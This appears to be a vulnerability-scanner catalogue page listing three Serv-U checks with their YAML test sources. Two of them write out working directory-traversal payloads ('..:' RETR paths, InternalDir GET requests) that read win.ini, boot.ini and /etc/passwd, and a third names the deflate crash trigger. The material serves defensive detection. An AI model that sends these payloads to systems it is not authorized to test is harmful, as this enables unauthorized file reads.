Serv-U — 3 vulnerability checks

noctis ships 3 vulnerability checks for Serv-U, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Serv-U FTP Server Jail Break Directory Traversal

CVECVE-2011-4800
Severitycritical · CVSS 9.0
Categoryfile-read — File read
Servicesftp
Detectionset_var, script, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/servu/CVE-2011-4800.yaml

Detects the "jail break" directory traversal in Serv-U FTP Server before 11.1.0.5, where a path segment written "..:" escapes the user's home directory. The test logs in to the FTP service with the scan credentials when supplied, otherwise anonymously, opens a passive data connection and requests RETR ..:\:..\..:\..:\..:\..:\..:\..:\..:\windows/win.ini, then the same path to winnt/win.ini and boot.ini, and finally the forward-slash form ..:/..:/..:/..:/..:/..:/..:/..:/windows/win.ini. It is confirmed when the transferred file carries the signature of the Windows system file ("[fonts]" / "; for 16-bit app support", or "[boot loader]") and a second request for a random absent file next to it is refused without returning that signature, and the same file requested through plain "../" segments is refused too, which shows that the "..:" form is what escapes the home directory (when these two requests cannot run, the result is reported with lower confidence). The flaw gives any FTP user, anonymous included, read access to every file of the drive, and write access where the account may upload. The test only reads public Windows configuration files.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends USER {{cred_username}} on the open socket
  4. Sends PASS {{cred_password}} on the open socket
  5. Sends … on the open socket
  6. Parses / computes the next value with a Rhai script
  7. Opens a persistent TCP/TLS socket
  8. Sends USER anonymous on the open socket
  9. Sends PASS noctis@example.com on the open socket
  10. Sends … on the open socket
  11. Parses / computes the next value with a Rhai script
  12. Sends PASV on the open socket
  13. Sends … on the open socket
  14. Parses / computes the next value with a Rhai script
  15. … and 25 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/servu/CVE-2011-4800.yaml
# Serv-U FTP Server < 11.1.0.5 — "Jail Break" directory traversal —
# CVE-2011-4800 (kingcope, EDB-18182, December 2011).
#
# Serv-U filters "../" in FTP paths but not a parent segment written "..:"
# (or ":.."): a logged-in user — anonymous included — climbs out of the home
# directory and lists, reads and (with write rights) writes any file of the
# drive. The advisory reads C:\windows\system32\calc.exe with
# "get ..:/..:/..:/..:/windows/system32/calc.exe" and lists the drive with
# "ls -a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*". Fixed in Serv-U 11.1.0.5.
#
# Ported from OpenVAS/Greenbone NVT 2011/servu_traversal.nasl (OID
# 1.3.6.1.4.1.25623.1.0.103354, GPL-2.0-only): FTP login (scan credentials,
# default anonymous), PASV, then for each Windows traversal file
# "RETR ..:\:..\..:\..:\..:\..:\..:\..:\..:\<file>" and report when the data
# connection returns the file's signature.
#
# Deviations from the NVT (stronger detection, stated in the PR):
#   * Scan credentials that are refused (they are request-wide and often meant
#     for another service) fall back to an anonymous login on a fresh
#     connection instead of ending the check.
#   * The advisory's forward-slash form (..:/..:/…) is tried last, for servers
#     that only split on "/".
#   * The NVT needs a Serv-U product detection first; this test does not read
#     the greeting (often customised on Serv-U) — the absent-file control
#     below keeps other servers and honeypots clean instead.
#   * Absent-file control: after a hit, the same RETR of a random absent file
#     named after the probed one must be refused (550/553/450) and return no
#     file signature, so a blanket responder gives no finding; when the control
#     cannot run the read is reported at QoD 70 instead of 75.
#   * The PASV address is ignored: the data connection goes to the scanned
#     host (the NVT does the same), so a NATed server still works.
#   * Baseline control: the same file through plain "../" segments (clamped
#     by every version) must NOT be served — otherwise the home directory is
#     the drive root (a fixed server reaches C:\windows too) or another
#     traversal is at work, and "..:" proves nothing.
#   * A late PASV / RETR reply is re-read instead of shifting the dialogue.
#
# Read-only: after login only PASV, RETR and QUIT are sent, and only the
# public win.ini / boot.ini files are read.
uid: 6d959857-bdff-4c0c-9d22-435ca75dd5f8
name: "Serv-U FTP Server Jail Break Directory Traversal (CVE-2011-4800)"
description: |
  Detects the "jail break" directory traversal in Serv-U FTP Server before
  11.1.0.5, where a path segment written "..:" escapes the user's home
  directory. The test logs in to the FTP service with the scan credentials
  when supplied, otherwise anonymously, opens a passive data connection and
  requests RETR ..:\:..\..:\..:\..:\..:\..:\..:\..:\windows/win.ini, then the
  same path to winnt/win.ini and boot.ini, and finally the forward-slash form
  ..:/..:/..:/..:/..:/..:/..:/..:/windows/win.ini. It is confirmed when the
  transferred file carries the signature of the Windows system file
  ("[fonts]" / "; for 16-bit app support", or "[boot loader]") and a second
  request for a random absent file next to it is refused without returning
  that signature, and the same file requested through plain "../" segments is
  refused too, which shows that the "..:" form is what escapes the home
  directory (when these two requests cannot run, the result is reported
  with lower confidence). The flaw gives any FTP user, anonymous included,
  read access to every file of the drive, and write access where the account
  may upload. The test only reads public Windows configuration files.
cves: [CVE-2011-4800]
cvss: 9.0
severity: critical
category: file-read
confidence_base: 0.30
tags: [serv-u, solarwinds, rhinosoft, ftp, path-traversal, file-read, windows]
services: [ftp]
author: noctis
version: "1.0.1"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4800"
  - "https://www.exploit-db.com/exploits/18182"
  - "OpenVAS/Greenbone NASL 2011/servu_traversal.nasl (OID 1.3.6.1.4.1.25623.1.0.103354, GPL-2.0-only)"

steps:
  # Pre-init everything the scripts and conditions read before the loop: a
  # failed step stores nothing, and an undefined variable aborts the test.
  - id: init-ftpo
    action: set_var
    var_name: ftpo
    var_value: {banner: "", connected: false}
  - id: init-cpass
    action: set_var
    var_name: cpass
    var_value: {response: ""}
  - id: init-cpass-late
    action: set_var
    var_name: cpass_late
    var_value: {response: ""}
  - id: init-apass
    action: set_var
    var_name: apass
    var_value: {response: ""}
  - id: init-apass-late
    action: set_var
    var_name: apass_late
    var_value: {response: ""}

  # ── 1. Login: scan credentials when supplied, else anonymous ─────────────
  - id: pick-login
    action: script
    code: |
      cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
    store_as: use_cred

  - id: open
    action: tcp_open
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo

  - id: cred-user
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "USER {{cred_username}}\r\n"
    store_as: cuser

  - id: cred-pass
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "PASS {{cred_password}}\r\n"
    store_as: cpass

  - id: cred-pass-wait
    action: sleep
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    duration_ms: 3000

  - id: cred-pass-late
    action: tcp_send
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    handle: ftp
    send: ""
    store_as: cpass_late

  - id: cred-state
    action: script
    code: |
      let r = "";
      if type_of(cpass.response) == "string" { r += cpass.response; }
      if type_of(cpass_late.response) == "string" { r += "\n" + cpass_late.response; }
      use_cred && ereg("(^|\n)230[ -]", r)
    store_as: cred_ok

  # Credentials refused: anonymous login on a fresh connection.
  - id: reopen-close
    action: tcp_close
    condition: "cred_ok == false && use_cred == true"
    handle: ftp

  - id: reopen
    action: tcp_open
    condition: "cred_ok == false && use_cred == true"
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo2

  - id: anon-user
    action: tcp_send
    condition: "cred_ok == false"
    handle: ftp
    send: "USER anonymous\r\n"
    store_as: auser

  - id: anon-pass
    action: tcp_send
    condition: "cred_ok == false"
    handle: ftp
    send: "PASS noctis@example.com\r\n"
    store_as: apass

  - id: anon-pass-wait
    action: sleep
    condition: 'cred_ok == false && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    duration_ms: 3000

  - id: anon-pass-late
    action: tcp_send
    condition: 'cred_ok == false && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    handle: ftp
    send: ""
    store_as: apass_late

  - id: logged-in
    action: script
    code: |
      let r = "";
      if type_of(apass.response) == "string" { r += apass.response; }
      if type_of(apass_late.response) == "string" { r += "\n" + apass_late.response; }
      cred_ok || ereg("(^|\n)230[ -]", r)
    store_as: logged_in

  # ── 2. One passive RETR per traversal file (loop group) ──────────────────
  # The loop step and the set_var steps after it reset every per-iteration
  # result, so nothing from the previous file is read again.
  - id: reset-proof
    action: set_var
    loop:
      var: probe
      over:
        - {path: '..:\:..\..:\..:\..:\..:\..:\..:\..:\windows/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows/win.ini'}
        - {path: '..:\:..\..:\..:\..:\..:\..:\..:\..:\winnt/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'winnt/win.ini'}
        - {path: '..:\:..\..:\..:\..:\..:\..:\..:\..:\boot.ini', pat: '(?m)^(\[boot loader\])\r?$', file: 'boot.ini'}
        - {path: '..:/..:/..:/..:/..:/..:/..:/..:/windows/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows/win.ini'}
    var_name: proof
    var_value: ""
  - id: reset-ctl-state
    action: set_var
    var_name: ctl_state
    var_value: "none"
  - id: reset-dport
    action: set_var
    var_name: dport
    var_value: 0
  - id: reset-cport
    action: set_var
    var_name: cport
    var_value: 0
  - id: reset-pasv
    action: set_var
    var_name: pasv
    var_value: {response: ""}
  - id: reset-pasv-late
    action: set_var
    var_name: pasv_late
    var_value: {response: ""}
  - id: reset-retr
    action: set_var
    var_name: retr
    var_value: {response: ""}
  - id: reset-retr-late
    action: set_var
    var_name: retr_late
    var_value: {response: ""}
  - id: reset-dat
    action: set_var
    var_name: dat
    var_value: {response: ""}
  - id: reset-dat-late
    action: set_var
    var_name: dat_late
    var_value: {response: ""}
  - id: reset-cpasv
    action: set_var
    var_name: cpasv
    var_value: {response: ""}
  - id: reset-cpasv-late
    action: set_var
    var_name: cpasv_late
    var_value: {response: ""}
  - id: reset-bpasv
    action: set_var
    var_name: bpasv
    var_value: {response: ""}
  - id: reset-bpasv-late
    action: set_var
    var_name: bpasv_late
    var_value: {response: ""}
  - id: reset-bretr
    action: set_var
    var_name: bretr
    var_value: {response: ""}
  - id: reset-bretr-late
    action: set_var
    var_name: bretr_late
    var_value: {response: ""}
  - id: reset-bdat
    action: set_var
    var_name: bdat
    var_value: {response: ""}
  - id: reset-bdat-late
    action: set_var
    var_name: bdat_late
    var_value: {response: ""}
  - id: reset-bport
    action: set_var
    var_name: bport
    var_value: 0
  - id: reset-cretr
    action: set_var
    var_name: cretr
    var_value: {response: ""}
  - id: reset-cretr-late
    action: set_var
    var_name: cretr_late
    var_value: {response: ""}
  - id: reset-cdat
    action: set_var
    var_name: cdat
    var_value: {response: ""}

  - id: pasv
    action: tcp_send
    condition: "logged_in == true"
    handle: ftp
    send: "PASV\r\n"
    store_as: pasv

  - id: pasv-wait
    action: sleep
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    duration_ms: 3000

  - id: pasv-late
    action: tcp_send
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    handle: ftp
    send: ""
    store_as: pasv_late

  - id: pasv-port
    action: script
    condition: "logged_in == true"
    code: |
      let t = "";
      if type_of(pasv.response) == "string" { t += pasv.response; }
      if type_of(pasv_late.response) == "string" { t += "\n" + pasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: dport

  - id: data-open
    action: tcp_open
    condition: "dport > 0"
    handle: data
    port: "{{dport}}"
    timeout_secs: 10
    store_as: dopen

  - id: retr
    action: tcp_send
    condition: "dport > 0"
    handle: ftp
    send: "RETR {{probe.path}}\r\n"
    store_as: retr

  # Empty send = read what the server wrote on the data connection.
  - id: data-read
    action: tcp_send
    condition: "dport > 0"
    handle: data
    send: ""
    store_as: dat

  # Consume the RETR's final 226 (or error) so it is not read as the next
  # PASV reply; a slow transfer is read again on the data connection.
  - id: retr-wait
    action: sleep
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    duration_ms: 3000

  - id: data-read-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: data
    send: ""
    store_as: dat_late

  - id: retr-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: ftp
    send: ""
    store_as: retr_late

  - id: data-close
    action: tcp_close
    handle: data

  # The signature line of the probed system file, or "" (the raw file never
  # becomes evidence). A RETR refused with 4xx/5xx is no proof.
  - id: proof
    action: script
    condition: "dport > 0"
    code: |
      let r = "";
      if type_of(retr.response) == "string" { r += retr.response; }
      if type_of(retr_late.response) == "string" { r += "\n" + retr_late.response; }
      let d = "";
      if type_of(dat.response) == "string" { d += dat.response; }
      if type_of(dat_late.response) == "string" { d += dat_late.response; }
      let m = eregmatch(probe.pat, d);
      if m.len() > 1 && !ereg("(^|\n)[45][0-9][0-9][ -]", r) { m[1] } else { "" }
    store_as: proof

  # ── 3. Control: an absent file next to the probed one must be refused ────
  - id: ctl-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: cpasv

  - id: ctl-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    duration_ms: 3000

  - id: ctl-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    handle: ftp
    send: ""
    store_as: cpasv_late

  - id: ctl-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(cpasv.response) == "string" { t += cpasv.response; }
      if type_of(cpasv_late.response) == "string" { t += "\n" + cpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: cport

  - id: ctl-data-open
    action: tcp_open
    condition: 'proof != "" && cport > 0'
    handle: cdata
    port: "{{cport}}"
    timeout_secs: 10
    store_as: copen

  - id: ctl-retr
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: ftp
    send: "RETR {{probe.path}}.noctis-absent-{{oob_token}}\r\n"
    store_as: cretr

  - id: ctl-data-read
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: cdata
    send: ""
    store_as: cdat

  - id: ctl-wait
    action: sleep
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    duration_ms: 3000

  - id: ctl-retr-late
    action: tcp_send
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    handle: ftp
    send: ""
    store_as: cretr_late

  - id: ctl-data-close
    action: tcp_close
    handle: cdata

  # Baseline: the same file through plain "../" segments, which every Serv-U
  # version clamps at the home directory. If it is served too, the home
  # directory already reaches the file (home = drive root) or the server has
  # another traversal: "..:" proves nothing, so no finding.
  - id: base-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: bpasv

  - id: base-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    duration_ms: 3000

  - id: base-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    handle: ftp
    send: ""
    store_as: bpasv_late

  - id: base-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(bpasv.response) == "string" { t += bpasv.response; }
      if type_of(bpasv_late.response) == "string" { t += "\n" + bpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: bport

  - id: base-data-open
    action: tcp_open
    condition: 'proof != "" && bport > 0'
    handle: bdata
    port: "{{bport}}"
    timeout_secs: 10
    store_as: bopen

  - id: base-retr
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: ftp
    send: "RETR ../../../../../../../../{{probe.file}}\r\n"
    store_as: bretr

  - id: base-data-read
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: bdata
    send: ""
    store_as: bdat

  - id: base-wait
    action: sleep
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    duration_ms: 3000

  - id: base-data-read-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: bdata
    send: ""
    store_as: bdat_late

  - id: base-retr-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: ftp
    send: ""
    store_as: bretr_late

  - id: base-data-close
    action: tcp_close
    handle: bdata

  - id: ctl-state
    action: script
    condition: 'proof != ""'
    code: |
      let r = "";
      if type_of(cretr.response) == "string" { r += cretr.response; }
      if type_of(cretr_late.response) == "string" { r += "\n" + cretr_late.response; }
      let d = "";
      if type_of(cdat.response) == "string" { d = cdat.response; }
      let b = "";
      if type_of(bdat.response) == "string" { b += bdat.response; }
      if type_of(bdat_late.response) == "string" { b += bdat_late.response; }
      let br = "";
      if type_of(bretr.response) == "string" { br += bretr.response; }
      if type_of(bretr_late.response) == "string" { br += "\n" + bretr_late.response; }
      // A 1xx preliminary reply means a served file only when no refusal
      // follows it (some servers send 150 before a 550 for a missing file).
      let refused = ereg("(^|\n)(550|553|450)[ -]", r);
      let brefused = ereg("(^|\n)(550|553|450)[ -]", br);
      if ereg(probe.pat, d) || ereg(probe.pat, b) || (ereg("(^|\n)1[0-9][0-9][ -]", r) && !refused) || (ereg("(^|\n)1[0-9][0-9][ -]", br) && !brefused) { "blanket" }
      else if refused && brefused { "clean" }
      else { "none" }
    store_as: ctl_state

  # ── 4. Report (stop: true ends the test on the first confirmed file) ─────
  - id: report
    action: match
    source: ctl_state
    pattern: "^clean$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "Serv-U FTP Server Jail Break Directory Traversal (CVE-2011-4800)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection, while a random absent file at the same place was refused and the plain \"../\" form did not reach the file: the \"..:\" segments escape the FTP home directory."
        remediation: "Update Serv-U to 11.1.0.5 or later, disable anonymous access where it is not needed, and do not expose the FTP service to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the absent-file control was refused and ../ did not reach it"
      stop: true

  - id: report-uncontrolled
    action: match
    source: ctl_state
    pattern: "^none$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "Serv-U FTP Server Jail Break Directory Traversal (CVE-2011-4800)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection. The absent-file and plain \"../\" controls could not both run, so the result is reported with lower confidence."
        remediation: "Update Serv-U to 11.1.0.5 or later, disable anonymous access where it is not needed, and do not expose the FTP service to untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the controls could not both run"
      stop: true

  # A one-pass loop ends the group above, so QUIT runs once after the last
  # file when nothing was found (a finding stops the test; the socket is
  # dropped with it).
  - id: quit
    action: tcp_send
    loop:
      var: done
      count: 1
    condition: "logged_in == true"
    handle: ftp
    send: "QUIT\r\n"
    store_as: quit

  - id: close
    action: tcp_close
    handle: ftp

SolarWinds Serv-U Content-Encoding deflate DoS (version check)

CVECVE-2026-28318
Severityhigh · CVSS 7.5
Servicesftp
Detectiontcp_connect, match · highest QoD 70
Feedtests/vulnerabilities/servu/CVE-2026-28318.yaml

SolarWinds Serv-U up to 15.5.4 Hotfix 0 crashes when it receives an unauthenticated HTTP POST carrying `Content-Encoding: deflate` (CVE-2026-28318, listed in CISA KEV). Detection is passive: the version is read from the FTP welcome banner and compared with 15.5.4 Hotfix 1.

How noctis detects it

  1. TCP connect and banner grab
  2. Checks ftp.banner for Serv-U FTP Server v(([1-9]|1[0-4])\.\d|15\.[0-4]([.\s]|$)|15\.5\.[0-3… → finding QoD 70: SolarWinds Serv-U vulnerable to CVE-2026-28318 (deflate DoS)

References:

Feed source — tests/vulnerabilities/servu/CVE-2026-28318.yaml
# SolarWinds Serv-U — CVE-2026-28318, unauthenticated DoS (CISA KEV).
#
# The bug is triggered by an HTTP POST with `Content-Encoding: deflate`, which
# crashes the service. This feed never sends that request: it only reads the
# FTP 220 greeting, where Serv-U prints its version, and compares it against
# the fixed release (15.5.4 Hotfix 1). No FTP command is sent.
#
# Vulnerable: every version < 15.5.4 Hotfix 1, i.e. majors 1-14, 15.0-15.4.x,
# 15.5.0-15.5.3, and 15.5.4 / 15.5.4 Hotfix 0. A two-part "v15.5" banner or a
# "15.5.4.<build>" banner cannot be placed against the hotfix, so it is not
# reported (no guess, no false positive).
uid: 2fb8f446-a35f-4504-8631-a8a3f51db360
name: "SolarWinds Serv-U Content-Encoding deflate DoS (version check)"
description: |
  SolarWinds Serv-U up to 15.5.4 Hotfix 0 crashes when it receives an
  unauthenticated HTTP POST carrying `Content-Encoding: deflate`
  (CVE-2026-28318, listed in CISA KEV). Detection is passive: the version is
  read from the FTP welcome banner and compared with 15.5.4 Hotfix 1.
cves: [CVE-2026-28318]
cvss: 7.5
severity: high
confidence_base: 0.25
tags: [servu, solarwinds, ftp, dos, kev, version-check]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2026-28318"
  - "https://github.com/BishopFox/CVE-2026-28318-check"
  - "https://www.securityweek.com/solarwinds-patches-exploited-serv-u-vulnerability/"

steps:
  # Connect and read the greeting only (nothing is sent).
  - id: banner
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    store_as: ftp

  - id: version-check
    action: match
    source: ftp.banner
    pattern: "Serv-U FTP Server v(([1-9]|1[0-4])\\.\\d|15\\.[0-4]([.\\s]|$)|15\\.5\\.[0-3]([.\\s]|$)|15\\.5\\.4( Hotfix 0)?\\s+ready)"
    on_match:
      finding:
        title: "SolarWinds Serv-U vulnerable to CVE-2026-28318 (deflate DoS)"
        description: "The FTP banner reports a Serv-U version older than 15.5.4 Hotfix 1, which an unauthenticated HTTP POST with Content-Encoding: deflate can crash."
        remediation: "Upgrade Serv-U to 15.5.4 Hotfix 1 or later. Until then, restrict access to the Serv-U web listeners."
        confidence_delta: 0.30
        qod: 70
        evidence: "FTP banner: {{ftp.banner}}"

SolarWinds Serv-U Directory Traversal Arbitrary File Read

CVECVE-2024-28995
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/servu/CVE-2024-28995.yaml

Detects CVE-2024-28995 via the InternalDir/InternalFile traversal, reading /etc/passwd (Linux, Serv-U reply) or win.ini (Windows fallback). After a read, the same request is sent for an absent directory (a random missing directory before etc / windows), and the file read is reported only when that control gets an HTTP reply without file content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.0
  2. Checks linux_resp.banner for Serv-U
  3. Checks linux_resp.banner for root:.*:0:0:
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /?InternalDir=\..\..\..\..\noctis-absent-{{oob_token}}\etc&InternalFile=passwd HTTP/1…
  5. Parses / computes the next value with a Rhai script
  6. Checks linux_hit for ^yes$ → finding QoD 75: Serv-U directory traversal confirmed — /etc/passwd content in response (CVE-2024-28995); the same request for an absent directory did not r…
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.0
  8. Checks win_resp.banner for \[(font|extension|file)s\]
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET /?InternalDir=/../../../../noctis-absent-{{oob_token}}/windows&InternalFile=win.ini H…
  10. Parses / computes the next value with a Rhai script
  11. Checks win_hit for ^yes$ → finding QoD 75: Serv-U directory traversal confirmed — win.ini content in response (CVE-2024-28995); the same request for an absent directory did not retur…

References:

Feed source — tests/vulnerabilities/servu/CVE-2024-28995.yaml
uid: 16508be5-341e-4178-8d45-51b7e4ee7de1
name: "SolarWinds Serv-U Directory Traversal Arbitrary File Read"
description: |
  Detects CVE-2024-28995 via the InternalDir/InternalFile traversal, reading
  /etc/passwd (Linux, Serv-U reply) or win.ini (Windows fallback). After a
  read, the same request is sent for an absent directory (a random missing
  directory before etc / windows), and the file read is reported only when
  that control gets an HTTP reply without file content, so a server that
  answers every path with the same file is not reported.
cves: [CVE-2024-28995]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [path-traversal, file-read, lfi, kev, servu]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-28995"
  - "https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis"
  - "https://github.com/Stuub/CVE-2024-28995"

# Absent-file control (#2384): after a read, the same request is sent with a
# random missing directory before etc / windows and the finding is raised only
# when that control gets an HTTP reply without file content (fail closed).
# The Windows fallback runs whenever the Linux probe did not report (it used
# to run only when the Linux reply lacked the Serv-U banner, which a Windows
# Serv-U always sends).
steps:
  - id: init-vars
    action: set_var
    var_name: linux_found
    var_value: false

  - id: linux-resp-init
    action: set_var
    var_name: linux_resp
    var_value: {connected: false, banner: ""}

  - id: win-resp-init
    action: set_var
    var_name: win_resp
    var_value: {connected: false, banner: ""}

  # Attempt 1 — Linux path (/etc/passwd via backslash traversal)
  - id: linux-ctrl-init
    action: set_var
    var_name: linux_ctrl
    var_value: {connected: false, banner: ""}

  - id: linux-hit-init
    action: set_var
    var_name: linux_hit
    var_value: ""

  - id: linux-clean-init
    action: set_var
    var_name: linux_clean
    var_value: false

  - id: linux-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: linux_resp

  - id: linux-servu-check
    action: match
    source: linux_resp.banner
    pattern: "Serv-U"
    condition: "linux_resp.connected"
    on_match:
      set_vars:
        linux_found: true

  # No finding here: the reply is the passwd file. Raised below once the
  # absent-file control is clean.
  - id: linux-passwd-check
    action: match
    source: linux_resp.banner
    pattern: "root:.*:0:0:"
    condition: "linux_found == true"
    on_match:
      set_vars:
        linux_hit: "yes"

  # Control: a random missing directory before the target directory, same file
  # name, so a server that keys a fake file on that name answers it too.
  - id: linux-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'linux_hit != ""'
    send: "GET /?InternalDir=\\..\\..\\..\\..\\noctis-absent-{{oob_token}}\\etc&InternalFile=passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: linux_ctrl

  # Fail closed: the control must have answered over HTTP, without file content.
  - id: linux-control-verdict
    action: script
    condition: 'linux_hit != ""'
    code: |
      let b = linux_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[(font|extension|file)s\\]", b)
    store_as: linux_clean

  - id: linux-report
    action: match
    source: linux_hit
    pattern: "^yes$"
    condition: "linux_clean == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Serv-U directory traversal confirmed — /etc/passwd content in response (CVE-2024-28995); the same request for an absent directory did not return it"
      stop: true

  # Attempt 2 — Windows fallback (win.ini via forward-slash traversal)
  - id: win-ctrl-init
    action: set_var
    var_name: win_ctrl
    var_value: {connected: false, banner: ""}

  - id: win-hit-init
    action: set_var
    var_name: win_hit
    var_value: ""

  - id: win-clean-init
    action: set_var
    var_name: win_clean
    var_value: false

  - id: win-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: win_resp

  # No finding here: the reply is win.ini. Raised below once the absent-file
  # control is clean.
  - id: win-ini-check
    action: match
    source: win_resp.banner
    pattern: "\\[(font|extension|file)s\\]"
    # Same product gate as the Linux branch: Serv-U names itself in the
    # Server header, so another product's traversal is not attributed here.
    condition: "win_resp.connected == true && type_of(win_resp.banner) == \"string\" && win_resp.banner.contains(\"Serv-U\")"
    on_match:
      set_vars:
        win_hit: "yes"

  # Control: a random missing directory before the target directory, same file
  # name, so a server that keys a fake file on that name answers it too.
  - id: win-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'win_hit != ""'
